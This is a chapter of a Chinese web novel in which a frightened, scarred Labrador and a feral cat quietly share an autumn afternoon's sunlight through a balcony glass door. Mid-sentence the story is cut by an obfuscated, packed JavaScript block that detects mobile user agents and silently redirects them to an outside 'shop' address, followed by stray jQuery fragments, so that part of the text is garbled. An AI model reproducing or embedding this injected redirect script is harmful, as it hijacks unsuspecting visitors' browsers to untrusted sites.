Rocky离开后，Garden的核心家庭结构变成了两人、两犬（严格说是一犬一猫Besty）、以及阳台下未明言的猫家庭。空间和心理上，都经历了一次收缩与重组。
乌龙似乎成了最大的“受益者”——它不用再担心Rocky的突然恶作剧或资源竞争，韩慧和林朗的注意力也更多地落在它身上。然而，失去Coffee和Rocky两位伙伴（尽管关系复杂）后，乌龙并没有变得开朗，反而显得更加孤独和内向。它像一条沉默的影子，紧紧依附在韩慧左右，对室外的恐惧有增无减，甚至连阳台都不太愿意待，生怕那扇玻璃门外会有什么可怕的东西钻进来。
韩慧尝试带它进行更温和的脱敏训练，鼓励它探索阳台安全区域，但收效甚微。乌龙总是紧张地竖着耳朵，一有风吹草动就立刻缩回门内。
墨点则因为Rocky的离开，少了一个需要时刻提防的“智能观察者”，警戒压力稍有减轻，但外出觅食和侦察的责任依然繁重。雪绒的乳汁逐渐减少，幼崽们开始需要更多固体食物，狩猎的压力有增无减。
一个深秋阳光温暖的午后，韩慧和林朗都在书房忙碌（疤脸也在书房角落休养，大部分时间沉睡）。乌龙被暂时留在客厅。它趴在靠近阳台玻璃门的沙发旁垫子上，晒着太阳，却睡不踏实，耳朵不时转动，眼睛望着玻璃门外摇晃的树影。
墨点刚结束一次成功的狩猎，带回一只肥硕的田鼠，与家人们分享后，他需要休息，但又不敢在室内人类活动时于木箱内深睡。他选择潜伏在阳台最外侧、一片茂密的常春藤阴影下，这里既能观察内外，又能享受阳光，相对隐蔽。
于是，一个在门内垫子上假寐，一个在门外阴影下小憩，一狗一猫，隔着透明的玻璃，共享着同一片慵懒的午后阳光。
起初，双方都保持着惯常的警惕。乌龙能闻到墨点身上极淡的、属于户外和猎物的气息，这气息让它有些不安。墨点也能感知到乌龙那种胆怯的、向内收缩的能量场。
但阳光太暖，疲惫太真实。渐渐地，乌龙紧绷的身体放松下来，下巴完全搁在前爪上，眼皮沉重。墨点也半眯起眼睛，琥珀色的瞳孔在强光下缩成细缝。
一阵微风吹过，阳台上的风铃发出极轻的叮咚声。乌龙耳朵一抖，但没有睁眼。墨点的尾巴尖也无意识地晃了一下。
时间在寂静中流淌。阳光移动，将乌龙半边身子和墨点所在的阴影边缘镀上金色。
乌龙在睡梦中，爪子轻轻抽搐了一下，喉咙里发出一声几不可闻的呜咽，仿佛梦见了什么可怕又模糊的往事。它胸前的白色疤痕，在阳光下格外清晰。
墨点被那细微的声音惊醒，抬眼望去，看到了那道狰狞的旧伤。他忽然想起母亲雪绒身上的战斗痕迹，想起父亲暗夜可能经历的惨烈，想起自己身上那些已经愈合或正在愈合的小伤口。每个生命都有它的伤疤，外在的，或内在的。
不知为何，那道在犬类身上显得格外刺目的疤痕，此刻却让墨点感到一种奇异的共鸣。那不再是“他者”的标记，而是另一种形式的生存见证。乌龙用它胆怯的方式活了下来，背负着伤痕；墨点用战斗和谨慎活了下来，也带着痕迹。方式不同，本质无二。
也许是这片刻惺惺相惜的恍惚，也许是阳光降低了防备，墨点极其轻微地调整了一下姿势，让更多阳光能晒到自己的侧腹——一个相对放松、暴露弱点的姿态。
几乎同时，乌龙在睡梦中翻了个身，将更柔软的腹部侧向阳光，也间接地面向了玻璃门外的墨点。它的呼吸变得更加绵长深沉。
一扇玻璃，两个世界。一个曾是被虐待遗弃、心灵受创的家犬，一个是挣扎求生、肩负家族重任的野猫。在没有任
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218526|197467||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
何语言、甚至没有直接目光交流的午后，在共同流淌的温暖阳光和静谧时光里，他们各自放下了最外层的、针对“异类”的戒备，显露出一丝疲惫生命共有的、对安宁瞬间的贪恋与接纳。
这不是友谊，不是联盟，甚至不是理解。这只是一种超越物种的、在绝对安全距离下的疲惫共鸣。如同两座孤岛，在特定的潮汐和光线条件下，隔着海面，短暂地映射出彼此相似的轮廓。
不知过了多久，书房传来响动。乌龙立刻惊醒，警觉地竖起耳朵，看向书房方向。墨点也瞬间隐入阴影深处，仿佛从未出现过。
韩慧走出来，看到乌龙安静地趴在阳光里，眼神似乎比往日少了一些惊惶，多了一丝平静。她微笑着走过去，揉了揉乌龙的脑袋。“乖孩子，晒太阳呢？”
乌龙舔了舔她的手，站起来，跟在她脚边，又恢复了那个胆小黏人的影子。
阳台外，墨点悄无声息地溜回木箱。雪绒看了他一眼，似乎察觉到他气息中一丝罕见的平和，但没有多问。
那个午后，什么具体的事情都没有发生。没有接触，没有交流，没有故事的推进。
但有些东西，如同阳光里微不可察的尘埃，轻轻沉降，改变了某些底层的质地。一道无形的、极其微弱的联系，在胆小的拉布拉多与警惕的野猫之间，悄悄地、短暂地搭了一下。它脆弱得不堪一击，却又真实地存在过。
在Garden这个日益复杂的生态系统里，并非所有的连接都需要轰轰烈烈或利益交换。有时候，仅仅是共享一片无言的、安全的阳光，就足以在截然不同的生命轨迹上，投下一道淡淡的理解阴影。
这阴影或许很快会被新的恐惧、新的责任、新的冲突所覆盖。
但至少在那一刻，在秋日的午后，围墙又一次以无人察觉的方式，降低了那么微不足道的一毫米。